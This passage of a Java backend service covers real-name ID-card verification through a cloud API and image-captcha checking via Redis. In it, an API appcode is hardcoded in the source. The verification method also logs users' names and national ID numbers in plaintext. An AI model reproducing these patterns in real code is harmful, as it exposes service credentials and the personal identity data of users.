            tokenService.createTicket(userContext, UserContextManage.getAuthorization());
            UserContextManage.reInit(userContext, UserContextManage.getAuthorization());
        }
        return mongoBeanUtil.getPublishUserInfoService().saveOrUpdate(publishUserInfo);
    }


    /**
     * 实名认证
     *
     * @param name
     * @param identNo
     * @return
     */
    private Boolean idCardCheck(String name, String identNo) {
        String url = "https://kzidcardv1.market.alicloudapi.com/api-mall/api/id_card/check";
        String appcode = "dda3ae627f02445fb28b474b8615930b";
        Map<String, String> headers = new HashMap<String, String>();
        //最后在header中的格式(中间是英文空格)为Authorization:APPCODE 83359fd73fe94948385f570e3c139105
        headers.put("Authorization", "APPCODE " + appcode);
        //根据API的要求，定义相对应的Content-Type
        headers.put("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
        String bodys = "name=" + name + "&idcard=" + identNo;
        try {
            /**
             * 重要提示如下:
             * HttpUtils请从
             * https://github.com/aliyun/api-gateway-demo-sign-java/blob/master/src/main/java/com/aliyun/api/gateway/demo/util/HttpUtils.java
             * 下载
             *
             * 相应的依赖请参照
             * https://github.com/aliyun/api-gateway-demo-sign-java/blob/master/pom.xml
             */
            String response = HttpUtils.sendPost(url, bodys, null, headers);//.doPost(host, path, method, headers, querys, bodys);
            log.info("实名认证：{},{}", bodys, response);
            if (StringUtils.isNotBlank(response)) {
                RealnameVO result = JSON.parseObject(response, RealnameVO.class);
                if (result.getCode() == 200) {
                    return result.getData().getResult() == 0;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return false;
    }


    /**
     * 校验图像验证码
     *
     * @param imageCode 验证码
     */
    private void validImageCode(String imageCode) {
        String capt = redisTemplate.opsForValue().get("rongjintong:user:captcha:" + imageCode);
        if (capt == null || StringUtils.isEmpty(capt) || !capt.equals(imageCode)) {
            throw new BusinessException("验证码输入错误");
        }
        redisTemplate.delete("rongjintong:user:captcha:" + imageCode);
    }


}
